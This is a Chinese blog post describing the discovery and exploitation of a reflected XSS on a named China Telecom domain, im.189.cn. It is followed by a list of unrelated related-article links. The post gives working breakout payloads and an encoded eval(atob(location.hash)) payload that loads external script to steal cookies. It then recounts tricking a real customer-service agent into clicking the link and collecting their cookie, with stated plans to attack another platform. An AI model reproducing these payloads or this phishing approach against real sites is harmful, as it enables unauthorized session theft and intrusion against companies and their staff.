记一次电信反射xss的挖掘与利用
0X0、前言
早上起床,打开手机习惯性刷刷新闻,却发现网络无法连接,本以为是光猫出现了问题,后来发现是忘记续费,欠费了。
在网上充值完之后,等了有将近十分钟,网依旧没恢复。随打了个电话给客服,客服在后台帮忙刷新了一下数据,一分钟后网络就恢复了。
在我打了个非常满意评价后,客服发了个短信给我,短信内容是这样子的。
点开链接,页面跳转一下,发现是一个客户自检网络,修复网络故障的页面。(上网账号和城市做了修改)
心想这里会不会有点什么呢?
搞事心态一起,那么就研究研究吧。
0x1、反射XSS的挖掘
抽出短信里面的url,去urlencode得到这样的url:
http://im.189.cn/t/scrtv?h784cr&k=50|hello
对比页面发现:其中的k是城市id,|后面的也即是上面的hello是上网账号。
看到'原样'输出,第一个想法就是这里会不会存在个反射xss?
先看后面的账号输出,搜索一下网页源码,看看输出hello的地方有几个?
观察页面发现存在两个地方输出,一个是在标签内:
一个是在js内:
首先我们尝试一下第一个,输出在标签属性里面。要想构造xss,就得想办法闭合标签,写入标签的其它属性,或者构造其它标签。
因为输出是在value=""内,被双引号包围,那么我们尝试用双引号去闭合前面的标签,然后插入我们想要的东西。
先测试一下双引号有没有被过滤:
"testtesttest
结果发现双引号被过滤了,这个输出点没办法闭合,那么也就没法利用了。
我们再看输出在js内的。两个点都是用单引号闭合的,那么单引号会不会也被过滤呢?
'testtesttest
可以发现,成功插入了一个单引号,单引号没有被过滤。那么我们就可以尝试构造xss payload了。
先用单引号和右花括号闭合前面语句,再用</script>强制闭合前面的<script>,然后添加一个<script>,再之后是xsspayload,后面用单引号闭合后面的单引号。
那么最终的payload是这样子的
http://im.189.cn/t/scrtv?h784cr&k=50|'}</script><script>alert(1);'
期待之中的弹框并没有出现,然后又发现我们插入的右花括号也被过滤了
看一下console,再仔细看了一下输出点,发现下面的一个输出,后面还有一个右括号,没有闭合
点击source里面看看
发现这里存在三处语法错误,最严重的的是第二对<script>里面的function没有闭合,因为过滤了右花括号,其次是闭合的两个地方一个带有括号,一个没有,如果构造闭合,一定会造成一个闭合了另外一个没有闭合,都会造成语法错误,最终也是没办法执行的。。
我们把目光放到别的地方,寻找另外一个输入的输出。也就是k的输出的地方。
我们发现其在js内的输出有两个地方
而且都是被单引号包围的。
这里我们就可以轻松构造xss payload
http://im.189.cn/t/scrtv?h784cr&k=';</script><script>alert(1);'|hello
成功弹框:
我们查看源码看看
可以发现刚刚好闭合了后面的单引号,主要是因为两个输出的地方都是由单引号包围,没有其他字符。
仔细分析一下代码,其实这里也是存在有语法错误的。
1,第一个是在第一对script里面,config没有闭合;
2,第二个是在第二对script里面,只有一个右花括号(}),没有与之配对的左花括号配对。
这里能够执行,主要是因为第三个script里面闭合的好,没有造成语法错误。最终alert(1)是在第三个script里面执行出来的。
0x02、漏洞利用
那么,在挖掘到了一个反射xss,我们应该怎么利用呢?
因为是反射xss,那么势必是要让别人去点链接的。
但是我们的payload还只是弹框而已,为了能够打cookie之类的,我们需要引入外部的js,随便找了一下网上的xss平台。
构造一下payload:
http://im.189.cn/t/scrtv?h784cr&k=';</script><script>eval(atob(location.hash.substr(1)));'|hello#s=document.createElement('script');document.body.appendChild(s);s.src='http://t.cn/XXX';
简单解析一下payload,其实就是获取当前链接#后面的字符,然后base64解码,传进eval里面执行,至于#后面的base64密文的作用是创建script标签,引入外部js。
但这样子是不行的,我们需要编码伪造一下,好让人不那么容易被察觉,最终payload如下:
http://im.189.cn/t/scrtv?h784cr&k=%27%3B%3C/script%3E%3Cscript%3Eeval(atob(location.hash.substr(1)))%3B%27%7C1212003238@163.gd#cz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpO3Muc3JjPSdodHRwOi8vdC5jbi9YWFhYJzs=
因为这个洞是在im.189.cn域名下的,那么我们可以做的就是寻找该域名下的一切业务,然后分析寻找与别人交互的地方。
访问im.189.cn发现,这是一个电信客服相关业务的域名。
那么我们是不是能够打一下电信客服后台的cookie呢?
找到客服页面
然后就是一堆有的没的闲聊,这里发一下聊天记录,成功让他点了我们的链接。
刚开始那个死活不点链接,后来转到深圳的就麻利的点了。
后台成功收到了cookie
但是发现也没啥卵用,莫名处于未登录状态的,又不知道后台地址,也是搞不了。
然后翻了翻度娘,发现该域名还有一个直播平台
嘿嘿,我似乎又知道了目标。但是发言要登录,而登录又要电信手机卡。妈的,没有电信手机卡。算了,暂时不搞了。
那么这一次xss的挖掘与利用就到这里结束了。
0x03 结束
把技术学习融于生活,在生活里面找到乐趣!
有时间再搞搞那个直播平台,嘿嘿~
记一次电信反射xss的挖掘与利用的更多相关文章
- 记一次隐秘的XSS漏洞挖掘
前言 在为某客户网站做渗透测试时发现一个有趣的事情.当我访问该网站的某条链接时服务器返回的是404页面.看到这里我当时就下意识的忽略它,但是后来又想了想这也不是完全没有价值,毕竟中间件及其版本都出来了 ...
- xss漏洞挖掘小结
xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...
- (转) exp1-1:// 一次有趣的XSS漏洞挖掘分析(1)
from http://www.cnblogs.com/hookjoy/p/3503786.html 一次有趣的XSS漏洞挖掘分析(1) 最近认识了个新朋友,天天找我搞XSS.搞了三天,感觉这一套 ...
- XSS漏洞的渗透利用另类玩法
XSS漏洞的渗透利用另类玩法 2017-08-08 18:20程序设计/微软/手机 作者:色豹 i春秋社区 今天就来讲一下大家都熟悉的 xss漏洞的渗透利用.相信大家对xss已经很熟悉了,但是很多安全 ...
- [.net 面向对象程序设计进阶] (20) 反射(Reflection)(上)利用反射技术实现动态编程
[.net 面向对象程序设计进阶] (20) 反射(Reflection)(上)利用反射技术实现动态编程 本节导读:本节主要介绍什么是.NET反射特性,.NET反射能为我们做些什么,最后介绍几种常用的 ...
- DNS反射放大攻击分析——DNS反射放大攻击主要是利用DNS回复包比请求包大的特点,放大流量,伪造请求包的源IP地址为受害者IP,将应答包的流量引入受害的服务器
DNS反射放大攻击分析 摘自:http://www.shaojike.com/2016/08/19/DNS%E6%94%BE%E5%A4%A7%E6%94%BB%E5%87%BB%E7%AE%80%E ...
- 记一次xss漏洞挖掘
博客园在整改中,无法更新文章,难受啊... 记录一次react的xss漏洞发现,比较有意思: 某个站: 直接输入<xxx>,直接把我跳转到了404,猜测可能做了一些验证: 尝试多重编码,发 ...
- 一次xss的黑盒挖掘和利用过程
挖掘过程一: 自从上一次投稿,已经好久好久没写文章了.今天就着吃饭的时间,写篇文章,记录下自己学习xss这么久的心得.在我看来.Xss就是javascript注入,你可以在js语法规定的范畴内做任何事 ...
- 一次有趣的XSS漏洞挖掘分析(2)
第一次和一套程序做了这么多次的斗争.今天基友又给我来信说,没得玩了.了解了下情况,是他拿着0day到处插,被人家发现了.还出了个公告,说所有***必须安装补丁.呵呵,性福总是走的这么突然.这乐子一下就 ...
随机推荐
- C++彩色数据流动界面
一个数据流动界面 #include <windows.h> #include <time.h> #include <cstdio> #include <str ...
- 从开源项目看 Python 单元测试
我觉得以前在我开发程序的时候,除了文档,可能单元测试是另外一个让我希望别人都写,但是自己又一点都不想写的东西.但是,随着开发程序的增多,以及自己对 Bug 的修改的增多,我发现,UT 在很大程度上是对 ...
- [Maven实战](7)坐标
1. 简单介绍 maven的世界中拥有数量很巨大的构件,也就是平时用的一些jar,war等文件. 在maven为这些构件引入坐标概念之前,我们无法使用不论什么一种方式来唯一标识全部这些构件. 因此,当 ...
- Power Designer如何批量改动数据类型
最近做项目的时候须要将OOM转换为PDM.在OOM中转换为PDM时,全部string的类型的属性都默认变为varchar(254),这可不是我们须要的类型,那么.如此多的类.如此多的属性.难道一个一个 ...
- 一句话搞定webmap(一)——轻地图组件
摘要: 遥想当年.在APP中增加LBS元素相当困难:要刻苦学习java,要刻苦学习iOS开发,要刻苦学习javascript-- 而现在.要制作一张地图真是越来越easy了!居然仅仅须要一句话.就能够 ...
- webpack+babel项目在IE下报Promise未定义错误引出的思考
低版本浏览器引起的问题 最近开发一个基于webpack+babel+react的项目,一般本地是在chrome浏览上面开发,chrome浏览器开发因为支持大部分新的js特性,所以一般不怎么需要poly ...
- Tkinter界面编程(一)----函数分析
Tkinter模块是python比较常用的GUI界面设计模块,首先对相关的函数进行分析. 一 .创建根窗口相关的函数说明 import tkinter as tk top = tk.Tk() # 创建 ...
- 七、Spring Boot Servlet 使用
Web开发使用 Controller 基本上可以完成大部分需求,但是我们还可能会用到 Servlet.Filter.Listener.Interceptor 等等. 当使用spring-Boot时,嵌 ...
- Java中流-----个人总结心得
流 字符流 字节流 缓冲区 数据流---用于传输数据.IO流---Input/Output流.数据从外部流向程序---输入流:数据从程序流向外部的时候--输出流.读取一个文件---数据从文件流向程序- ...
- docker学习笔记(一)
docker是一种容器技术,现在火的一塌糊涂,最近公司打算用docker统一开发.测试.预上线.上线环境,所以花了时间研究一下. docker是一种容器技术,之前是基于LXC容器,现在已经改成基于li ...